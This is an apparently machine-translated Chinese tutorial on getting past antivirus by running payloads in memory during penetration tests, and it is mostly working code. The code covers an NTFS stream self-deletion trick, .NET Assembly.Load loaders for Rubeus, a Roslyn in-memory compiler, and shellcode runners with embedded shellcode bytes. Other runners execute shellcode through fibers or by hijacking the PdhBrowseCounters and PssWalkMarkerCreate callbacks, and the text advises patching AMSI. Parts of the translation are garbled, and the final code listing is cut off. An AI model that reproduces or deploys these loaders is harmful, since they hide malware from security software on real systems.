在渗透测试期间绕过防病毒软件是很常见的。这可能很耗时,会对项目结果产生负面影响。但是,有几个很酷的技巧可以让您暂时忘记主机上的 AV,其中之一就是在内存中运行有效负载。
每个人都知道,在渗透测试期间,攻击者必须使用不同的工具,无论是 Cobalt Strike、代理服务器的服务器端,还是 lsass.exe 进程的转储程序。所有这些文件有什么共同点?事实上,它们都早已被防病毒软件所熟知,他们中的任何一个都不会忽视光盘上存在恶意软件的事实。
你注意到关键点了吗?恶意软件出现在光盘上的事实。如果我们能学会在内存中执行 payload,我们是否就会绕过防病毒软件的雷达?让我们看一下完全在内存中执行有效负载的技术,看看如果攻击者能够在不将文件拖放到光盘上的情况下学习黑客攻击,他们的生活会轻松得多。
不要重口味,我会尽量用简单易懂的方式讲述一切。
内存中有效负载执行的基础知识
在内存中执行是完全正常的行为。我什至会说,这是完成所有事情的唯一方式。从本质上讲,磁盘只是一个落脚点,一个仓库,从中拉取正确的程序,然后加载程序将它们映射到内存中并调用程序的入口点。没有什么可以阻止我们实际将数据字节放入内存,然后强制系统执行它们。
所以,我建议确保我们本身不需要光盘——没有它,一切都能成功工作,完全在内存中。假设我们有example.exe文件,它起初在光盘上,然后它就会消失:它会消失,只保留在 RAM 中。这种技术称为 Self-Deletion。您似乎可以启动有效负载,并且可以在其中调用 DeleteFIle() 函数,但不能调用此类函数。当尝试删除自身时,我们将收到0x5 ERROR_ACCESS_DENIED错误。
你当然可以这样做,但看起来不是很专业,不是吗?
ping 1.1.1.1 -n 22 > Nul & <PATH To executable>
但是,我们可以利用 Windows 中使用的 NTFS 文件系统的功能。里面有所谓的数据流,主要的可以认为是$DATA流。如果此流宕机,则文件将消失,无法读取。
遗憾的是,流无法删除,但可以重命名,这也会导致无法读取文件的内容,因此无法再次读取和执行它。我们先不讨论技术细节。我只想指出,数据流的重命名将使用 SetFileInformationByHandle() 函数执行,其中 FileRenameInfo 值作为 FileInformationClass 传递,然后作为 FileDispositionInfo 传递。
#include <Windows.h> #include <iostream> #define NEW_STREAM L":HBRABABRA" BOOL DeleteSelf() { WCHAR szPath[MAX_PATH * 2] = { 0 }; FILE_DISPOSITION_INFO Delete = { 0 }; HANDLE hFile = INVALID_HANDLE_VALUE; PFILE_RENAME_INFO pRename = NULL; const wchar_t* NewStream = (const wchar_t*)NEW_STREAM; SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream); pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename); if (!pRename) { printf("[!] HeapAlloc Failed With Error : %d n", GetLastError()); return FALSE; } ZeroMemory(szPath, sizeof(szPath)); ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO)); Delete.DeleteFile = TRUE; pRename->FileNameLength = sizeof(NewStream); RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream)); if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) { printf("[!] GetModuleFileNameW Failed With Error : %d n", GetLastError()); return FALSE; } hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileW [R] Failed With Error : %d n", GetLastError()); return FALSE; } wprintf(L"[i] Renaming :$DATA to %s ...", NEW_STREAM); if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) { printf("[!] SetFileInformationByHandle [R] Failed With Error : %d n", GetLastError()); return FALSE; } wprintf(L"[+] DONE n"); CloseHandle(hFile); hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileW [D] Failed With Error : %d n", GetLastError()); return FALSE; } wprintf(L"[i] DELETING ..."); if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) { printf("[!] SetFileInformationByHandle [D] Failed With Error : %d n", GetLastError()); return FALSE; } wprintf(L"[+] DONE n"); CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pRename); return TRUE; } int main() { DeleteSelf(); getchar(); return 0; }
正如我们所看到的,该进程已成功创建并继续运行,即使系统不再能够从光盘中读取任何内容。这证明了 loader 读取文件,将其放入内存中,然后执行的事实。
使用内置功能执行内存中的代码
C# 和 System.Reflection.Assembly
某些语言具有在内存中执行代码的内置功能。例如,C# 有一个 System.Reflection 命名空间和一个 Assembly 类,其中包含一个 Load() 方法,可用于在内存中放置和执行 C# 程序集。原型如下:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
该函数接受单个参数 — rawAssembly。它表示需要放置在内存中的程序集的字节数组。我建议考虑Rubeus.exe文件 — 该工具非常适合演示,因为它是用 C# 编写的。
要读取字节,我们将使用 File.ReadAllBytes,然后我们将字节传递给上述函数并调用其入口点。
using System; using System.IO; using System.Reflection; namespace AssemblyLoader { class Program { static void Main(string[] args) { Byte[] bytes = File.ReadAllBytes(@"C:UsersMichaelDownloadsRubeus.exe"); ExecuteAssembly(bytes, new string[] { "user" }); Console.Write("Press any key to exit"); string input = Console.ReadLine(); } public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param) { Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo method = assembly.EntryPoint; object[] parameters = new[] { param }; object execute = method.Invoke(null, parameters); } } }
因此,我们可以读取机器上的所有有效负载字节,然后调用 Assembly.Load() 方法,从而能够在内存中运行有效负载!让我们从读取字节开始。委婉地说,每次使用 File.ReadAllBytes() 是很乏味的,因此可以使用 Powershell 读取字节:
$FilePath = "C:UsersMichaelDownloadsRubeus.exe"" $File = [System.IO.File]::ReadAllBytes($FilePath);
$File 变量将包含太大的字节数组,这不太方便使用:
这就是为什么我建议用 Base64 对这个数组进行编码,然后在机器上解码字符串以获得所需的字节流。
$Base64String = [System.Convert]::ToBase64String($File); echo $Base64String;
现在我们只需要通过添加接收到的 Base64 字符串及其解码功能来修改我们的 loader:
using System; using System.IO; using System.Reflection; namespace AssemblyLoader { class Program { static void Main(string[] args) { string assemblyBase64 = "<b64 value>"; Byte[] bytes = Convert.FromBase64String(assemblyBase64); ExecuteAssembly(bytes, new string[] { "user" }); Console.Write("Press any key to exit"); string input = Console.ReadLine(); } public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param) { Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo method = assembly.EntryPoint; object[] parameters = new[] { param }; object execute = method.Invoke(null, parameters); } } }
而且您不必每次都生成新的程序集,因为我们能够从 Powershell 调用 dotnet 方法。具体而言,我们可以引用所需的 System.Reflection,并从中调用 Assembly.Load() 方法,这将允许我们加载程序集并引用它。
语法很简单:
$blob = "base64 value of rubeus.exe" $load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
之后,您只需使用以下语法选择要调用的所需方法:
[<namespace>.<class>]::<method>() # Ex [Rubeus.Program]::Main()
在通过 Powershell 运行的情况下,传递给 Assembly.Load() 方法的程序集的所有字节将在加载之前以 AMSI 结束,因此我们需要修补 AMSI,以便它不会在我们加载的有效负载处触发。
而且,并非每个组件都能以这种方式成功加载。应确保项目使用 .NET Framework 而不是 .NET Core,因为 Core 不会加载到内存中。将项目从 .NET Core 更改为 .NET Framework 时,本文可用作指南。在 Visual Studio 中创建项目时,您也可以直接选择所需的框架。
在研究这种加载程序集的方法时,发现有时 Powershell 无法检测到内存中的程序集,因此您必须自己提取并调用正确的方法:
$data = 'Assembly Bytes' $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('Rubeus.Program'); $method = $class.GetMethod('Main'); $method.Invoke(0, $null)
C# 和 MemoryStream()
C# 还有另一个有趣的机制,它允许您从提供的源代码中动态编译程序集。而且,正如我后来发现的那样,此功能是相对较新的,仅在 2021 年。
因此,首先,应使用 CSharpSyntaxTree.ParseText() 准备源代码。然后,它应该存储为 SyntaxTree 类的实例。
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@" namespace ns{ using System; public class App{ public static void Main(string[] args){ Console.Write(""dada""); } } }");
接下来,我们需要添加编译选项(我们已经指定这将是一个控制台应用程序):
var options = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Debug, allowUnsafe: true);
现在,让我们准备将在内存中执行的程序集。首先,我们创建一个表示程序集的变量,为此,我们使用函数 CSharpCompilation.Create()。第一个参数是程序集名称,最后一个参数是必需的编译器选项。在我们的例子中,会生成一个随机名称。
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
现在我们有一个程序集对象,通过调用 AddSyntaxTrees() 方法将源代码添加到它:
compilation = compilation.AddSyntaxTrees(syntaxTree);
在我们的程序集中,存在对其他程序集的依赖关系。例如,控制台的相同输出需要 System.Console.Write() 方法,编译器将从何处获取该方法?因此,现在应将其他程序集中的依赖项添加到程序集中。这些通常采用 .dll 文件的形式,并且标准程序集位于同一目录中,您可以按如下方式提取该目录:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
请注意,一个项目可以有许多依赖项,因此您需要创建一个列表:
List<MetadataReference> references = new List<MetadataReference>(); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
此外,我们可以解析之前创建的语法树(还记得吗?它包含程序集的源代码)。为此,我们使用如下代码:
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray(); // add .dll extension foreach (var u in usings) { references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll"))); }
- 汇编。SyntaxTrees — 从汇编对象获取所有语法树;
- Select(tree => 棵树。GetRoot() 的 API 中。DescendantNodes() 的 DescendantNodes() 中。OfType<UsingDirectiveSyntax>()) — 对于列表中的每棵树,在 Select 之后执行括号中的操作。树。GetRoot() 返回每个树的根节点。DescendantNodes() 检索从根节点派生的树中的所有节点。OfType<UsingDirectiveSyntax>() 过滤节点,只留下那些表示 using 指令的节点;
- SelectMany(s => s) — 由于每个树可以包含许多 using 指令,因此需要调用 SelectMany 将列表列表转换为一个公共列表;
- ToArray() — 将结果列表转换为数组以供进一步使用。之后,我们遍历获取的程序集并添加.dll扩展。
剩下的就是将生成的依赖项添加到程序集对象并进行编译。使用 method compilation 进行加法。AddReferences() 的 API 中。
compilation = compilation.AddReferences(references);
最后,在内存中执行的所有魔力都在于使用 MemoryStream 类的实例,它允许您操作内存中的数据。我们将此实例传递给编译。Emit() 方法(用于编译程序集),该方法会导致将编译的程序集放置在内存中。
using (var ms = new MemoryStream()) { EmitResult result = compilation.Emit(ms); if (!result.Success) { IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic => diagnostic.IsWarningAsError || diagnostic.Severity == DiagnosticSeverity.Error); foreach (Diagnostic diagnostic in failures) { Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location); } } else { ms.Seek(0, SeekOrigin.Begin); AssemblyLoadContext context = AssemblyLoadContext.Default; Assembly assembly = context.LoadFromStream(ms); assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } }); } }
然后,从内存中检索程序集并从中调用方法并不难。
完整的项目代码如下。
using System; using System.CodeDom.Compiler; using System.IO; using System.Reflection; using System.Runtime.Loader; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.Emit; class Program { static void Main() { // source code of the assembly SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@" namespace ns{ using System; public class App{ public static void Main(string[] args){ Console.Write(""dada""); } } }"); // creating compilation options var options = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Debug, allowUnsafe: true); // creating an assembly object var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options); // adding source code to assembly compilation = compilation.AddSyntaxTrees(syntaxTree); // obtaining a local path with assemblies var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location); List<MetadataReference> references = new List<MetadataReference>(); // adding required assemblies from disk references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll"))); // adding assemblies from syntax tree var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray(); // adding .dll extension foreach (var u in usings) { references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll"))); } // adding dependencies compilation = compilation.AddReferences(references); // compiling using (var ms = new MemoryStream()) { EmitResult result = compilation.Emit(ms); if (!result.Success) { IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic => diagnostic.IsWarningAsError || diagnostic.Severity == DiagnosticSeverity.Error); foreach (Diagnostic diagnostic in failures) { Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location); } } else { ms.Seek(0, SeekOrigin.Begin); AssemblyLoadContext context = AssemblyLoadContext.Default; Assembly assembly = context.LoadFromStream(ms); assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } }); } } } }
通过这种方式,我们几乎可以在内存中运行任何我们喜欢的代码。唯一的问题是源将明确地出现在程序中,这当然不是好事。但在这里你可以使用一些加密或编码功能来隐藏源代码。
请注意,应添加 Microsoft.CodeAnalysis.CSharp 包以运行代码。
C#、内存和本机代码
我们学习了如何执行 dotnet 程序集,但如果程序是用 C++ 编写的呢?在这种情况下,它在 CLR 平台之外执行,并将被视为本机代码。因此,您无法使用上述方法在内存中执行它。
现在合上这本书还为时过早,因为 shellcodes 存在。如果我们从 C++ 中存在的程序生成 shellcode,然后将此 shellcode 粘贴到 C# 项目中,在那里我们实现将此 shellcode 注入当前进程的地址空间的逻辑,该怎么办?在这种情况下,我们将有一个完整的程序集作为输出,它使用 System.Reflection.Assembly.Load() 加载并执行我们的 shellcode。我们得到这样一个由四个玩偶组成的俄罗斯套娃:Assembly.Load() 调用是第一个玩偶,加载的程序集是第二个,程序集中的 shellcode 是第三个,最后,shellcode 是我们的 C++ 程序 — 第四个。
因此,首先我建议准备将运行我们的 shellcode 的程序。在这里,我们将使用带有 GetDelegateForFunctionPointer() 的标准 shellcode-runner:
using System; using System.Runtime.InteropServices; namespace ShellcodeLoader { public class Program { public static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (uint)x86shc.Length, 0x1000, 0x40); Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length); pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc)); f(); return; } #region pinvokes [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); delegate void pFunc(); #endregion } }
现在,我们使用上述算法将此程序集的字节转换为 base64 字符串,并通过 System.Reflection.Assembly 运行它:
非常好!运行测试 shellcode 有效。现在是时候继续生成自定义 shellcode 本身了。首先,让我们决定程序。我建议写一些或多或少严肃的东西来肯定地测试理论。我们使用图形、各种 API 调用、循环、回调和各种其他奇怪的东西:
#include <Windows.h> LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { HWND hwnd; WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL }; RegisterClassEx(&wc); hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL); ShowWindow(hwnd, nCmdShow); HDC hdc = GetDC(hwnd); for (int x = 0; x < 800; x++) { for (int y = 0; y < 600; y++) { SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя } } MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } ReleaseDC(hwnd, hdc); UnregisterClass(L"MyWindowClass", hInstance); return 0; } LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, uMsg, wParam, lParam); }
然后编译,之后我们需要将程序转换为 shellcode。有很多开箱即用的工具可以做到这一点:
- https://github.com/TheWover/donut — 标准版本;
- https://github.com/S4ntiagoP/donut/tree/syscalls — 带有 syscalls 的 donut;
- https://github.com/hasherezade/pe_to_shellcode .
你甚至可以使用 Visual Studio 来生成 shellcode,本文对此进行了详细介绍。我是一个简单的人,所以我建议使用标准的甜甜圈:
donut.exe -i CodeToShc.exe -o code.bin -b 1
然后从 .bin 格式转换为可以插入程序的十六进制 shellcode:
xxd -i code.bin > 1.h
该文件将包含我们程序的 shellcode:
我们将 shellcode 添加到 shellcode-runner 并检查一切是否正常
剩下的工作就是获取程序集字节并通过 System.Reflection.Assembly 运行该程序集:
我们使用 shellcode 获得一个成功的程序集
由于这种运行 shellcode 的方式,防病毒软件无法检测到这种注入方法:
转换为 JScript
有一种方法可以通过转换为 JScript 来运行 dotnet 程序集,以下工具用于此目的:https://github.com/tyranid/DotNetToJScript。
首先,从上面的链接下载项目,在 Studio 中打开它,转到 Solution Explorer →单击 ExampleAssembly 项目中的 TestClass.cs。选择 compile as .dll。
然后我们的代码应该插入到 TestClass() 类中,例如,下面的代码输出一个消息框:
using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; [ComVisible(true)] public class TestClass { public TestClass() { MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } public void RunProcess(string path) { Process.Start(path); } }
编译成功后 .dll 格式,使用上面下载的工具包转换为 js:
DotNetToJScript.exe <path to our DLL> --lang=Jscript --ver=<.NET Framework version> -o demo.js # Ex DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
生成的 .js 文件可以安全地运行,这将导致执行 TestClass() 中的代码,即 MessageBox 的外观。
纤维
纤程是代码执行的一个单元,就像进程或线程一样。纤维在特定线程中工作。也就是说,构建了进程→线程的层次结构→纤维。一根线中可能有多个纤维。光纤由应用程序本身(而不是操作系统)管理和控制。使用 fibers,您可以构建更灵活的同步机制,因为它们有自己的堆栈和寄存器。纤程可以方便地用于代码执行隐藏,因为纤程内部的代码执行比线程内部的代码执行更难追踪。现在,最奇怪的是,一旦光纤完成工作,光纤堆栈就会被清除。这将使防病毒软件更难检测到我们软件中的恶意活动。
如果自身内部的光纤调用另一根光纤,则不会清除堆栈。stack 和 register 值将切换到您切换到的 fiber 中应包含的值。例如,如果 EAX 寄存器值在主线程中0x00,光纤 1 的值为 0x01,光纤 2 的值为 0x02,那么,当主线程切换到光纤 1 时,EAX 寄存器值将变为 0x01,当从光纤 1 切换到光纤 2 时,它将变为 0x02。纤维 2 完成后,它将采用纤维 1 的值,依此类推。
理想情况下,要对 AV 隐藏有效负载,应将其放置在文件中的某个位置 — 例如,在 PE 中、相邻的 DLL 库中或其他位置。然后运行一堆线程,其中有一堆纤维,并在一些纤维中运行有效载荷。
C# 和 C++ 均支持纤程。为了进行更改,我建议用 C++ 编写此 PoC。因此,使用纤维的基本函数 — CreateFiber():
LPVOID CreateFiber( [in] SIZE_T dwStackSize, [in] LPFIBER_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter );
- dwStackSize — 初始堆栈大小;
- LPFIBER_START_ROUTINE — 回调函数,它将被视为光纤的主函数。当纤维启动时调用它;
- lpParameter — 我们想要传递给 fiber 的一些附加数据。
创建纤程后,可以使用 SwitchToFiber() 启动纤程。请注意,您不能直接从线程调用此函数 — 不会有控制线程转换。因此,需要使用 ConvertThreadToFiber() 将当前线程预先转换为 fiber。
Fibers 非常适合执行我们的内存有效负载,因为它们具有相当好的安全性。我建议开始编写一个具有 10 个线程和 10 个纤程的简单 PoC,但只有一个纤程将运行我们的 shellcode。
对于同步,我建议使用互斥锁。让我们在程序开始时创建一个互斥锁,然后在运行 shellcode 之前拉取它,以防止它再次运行。
#include <windows.h> #include <vector> #include <thread> #define DEBUG size_t numOfThreads = 10; size_t numOfFibers = 10; unsigned char shc[] = "x48x31xffx48xf7xe7x65x48x8bx58x60x48x8bx5bx18x48x8bx5bx20x48x8bx1bx48x8bx1bx48x8bx5bx20x49x89xd8x8b" "x5bx3cx4cx01xc3x48x31xc9x66x81xc1xffx88x48xc1xe9x08x8bx14x0bx4cx01xc2x4dx31xd2x44x8bx52x1cx4dx01xc2" "x4dx31xdbx44x8bx5ax20x4dx01xc3x4dx31xe4x44x8bx62x24x4dx01xc4xebx32x5bx59x48x31xc0x48x89xe2x51x48x8b" "x0cx24x48x31xffx41x8bx3cx83x4cx01xc7x48x89xd6xf3xa6x74x05x48xffxc0xebxe6x59x66x41x8bx04x44x41x8bx04" "x82x4cx01xc0x53xc3x48x31xc9x80xc1x07x48xb8x0fxa8x96x91xbax87x9ax9cx48xf7xd0x48xc1xe8x08x50x51xe8xb0" "xffxffxffx49x89xc6x48x31xc9x48xf7xe1x50x48xb8x9cx9ex93x9cxd1x9ax87x9ax48xf7xd0x50x48x89xe1x48xffxc2" "x48x83xecx20x41xffxd6,x00"; DWORD WINAPI threadProc(VOID*); VOID WINAPI fiberProc(LPVOID); HANDLE hMutex; int main() { std::vector<HANDLE> threads(numOfThreads); hMutex = CreateMutex(NULL, FALSE, L"Mutex"); for (auto& thread : threads) { thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL); } for (auto& thread : threads) { WaitForSingleObject(thread, INFINITE); } return 0; } DWORD WINAPI threadProc(LPVOID lpParam) { std::vector<PVOID> fibers(numOfFibers); ConvertThreadToFiber(NULL); for (int i = 0; i < numOfFibers; ++i) { fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i); } while (true) { for (auto& fiber : fibers) { SwitchToFiber(fiber); } } return 0; } VOID WINAPI fiberProc(LPVOID lpParam) { WaitForSingleObject(hMutex, INFINITE); hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex"); if (hMutex) { PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(payload_mem, shc, sizeof(shc)); ((void(*)())payload_mem)(); } }
您需要做的就是将 shellcode 替换为 Rubeus shellcode。由于这种严重的代码隐藏,我们成功地再次执行了内存中的代码,并且远离了防病毒软件的视线:
特殊装载机
有一整类程序,即所谓的 Reflective Loader,允许我们将代码加载到内存中。将代码反射加载到内存中是基于这样一个事实,即开发人员单枪匹马地创建了一个算法来将 PE 文件放入内存 — 就像 Windows 本身一样。或者至少在某个级别上,以便 payload 可以运行。
Github 上有很多开箱即用的 PoC,我将重点介绍最有趣的:
- Invoke-ReflectivePEInjection — Powershell 反射 PE 加载器;
- RunPE — 适合运行托管代码和本机代码;
- FilelessPELoader — 最明智的实现之一。从远程服务器获取有效负载。
此外,我们可以单独区分一类用于反射 DLL 实现的程序:
- post/windows/manage/reflective_dll_inject — MSF 模块;
- ReflectiveDllInjection 的 Surface。
然而,有时所有这些特殊的加载器都是无用的。在大多数情况下,您需要做的就是在渗透测试中将程序传输到 shellcode 中,然后让系统以某种方式执行它。如果您只是不走寻常路并使用以前未知的 shellcode 运行方法,您很可能会绕过防病毒软件。
例如,您可以查找将 callback 作为其参数之一的任何函数。Windows 中有许多接受回调的 GUI 函数和 GUI 应用程序。例如,PdhBrowseCounters()函数可用于显示一个特殊对话框,我们可以在其中为系统资源监视器程序选择感兴趣的性能计数器。Function 采用 PDH_BROWSE_DLG_CONFIG 结构,其中一个元素是 pCallback。
唯一的问题是,只有在用户选择所需的性能计数器后,才会调用此回调。同样,我们可以为用户选择这些计数器,然后使用 SendMessage() 模拟向所需窗口发送计数器选择消息。
这是程序的完整代码,你只需要再次替换 shellcode 即可:
#include <windows.h> #include <pdh.h> #include <pdhmsg.h> #include <stdio.h> #include <iostream> #pragma comment(lib, "pdh.lib") DWORD WINAPI ThreadFunction(LPVOID lpParam) { Sleep(5000); HWND hwnd = NULL; hwnd = FindWindow(NULL, L"s"); ShowWindow(hwnd, SW_HIDE); if (hwnd) { HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); if (hwndButton) { SendMessage(hwndButton, BM_CLICK, 0, 0); } } return 0; } void ShowCounterBrowser() { PDH_BROWSE_DLG_CONFIG dlg; ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG)); unsigned char AbcdVar[] = "<SHELLCODE HERE>"; PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(addr, AbcdVar, sizeof(AbcdVar)); dlg.pCallBack = (CounterPathCallBack)addr; dlg.dwCallBackArg = NULL; dlg.bIncludeInstanceIndex = FALSE; dlg.bSingleCounterPerAdd = TRUE; dlg.bSingleCounterPerDialog = TRUE; dlg.bLocalCountersOnly = FALSE; dlg.bWildCardInstances = TRUE; dlg.bHideDetailBox = TRUE; dlg.bInitializePath = FALSE; dlg.dwDefaultDetailLevel = PERF_DETAIL_WIZARD; dlg.szReturnPathBuffer = new wchar_t[PDH_MAX_COUNTER_PATH + 1]; dlg.cchReturnPathLength = PDH_MAX_COUNTER_PATH; HANDLE hThread = CreateThread(NULL, 0, ThreadFunction, NULL, 0, NULL); if (PdhBrowseCounters(&dlg) == ERROR_SUCCESS) { printf("Chosen counter: %sn", dlg.szReturnPathBuffer); } else { printf("No counter chosenn"); } delete[] dlg.szReturnPathBuffer; } int main() { ShowCounterBrowser(); return 0; }
或者让它成为 PssCaptureSnapshot() 函数,它允许我们创建不同的进程快照。之后,若要获取有关快照的信息,可以使用 PssWalkMarkerCreate() 运行快照,该 PssWalkMarkerCreate() 需要将 PSS_ALLOCATOR 结构作为其第一个参数传递,在该参数中指定回调。当系统使用 snapshot 时,这些回调本身对于内存分配和释放函数的自定义实现是必需的,但没有什么可以阻止我们在那里指定我们的 shellcode:
#include <Windows.h> #include <processsnapshot.h> #include <iostream> // Function To Rewrite VOID* CALLBACK AllocRoutine(void* Context, DWORD Size) { MessageBox(NULL, L"AllocRoutine function is called!", L"Information", MB_ICONINFORMATION); return (HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, Size)); } int main() { DWORD ProcessId = GetCurrentProcessId(); HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId); if (hProcess == NULL) { std::cerr << "Could not open the process." << std::endl; return 1; } HPSS SnapshotHandle = NULL; PSS_CAPTURE_FLAGS CaptureFlags = PSS_CAPTURE_NONE; DWORD SnapshotFlags = 0; DWORD Result = PssCaptureSnapshot(hProcess, CaptureFlags, SnapshotFlags, &SnapshotHandle); if (Result != ERROR_SUCCESS) { std::cerr << "Could not create the process snapshot. Error: " << Result << std::endl; return 1; } PSS_ALLOCATOR Allocator; Allocator.AllocRoutine = AllocRoutine; Allocator.FreeRoutine = NULL; unsigned char shellcode[] = 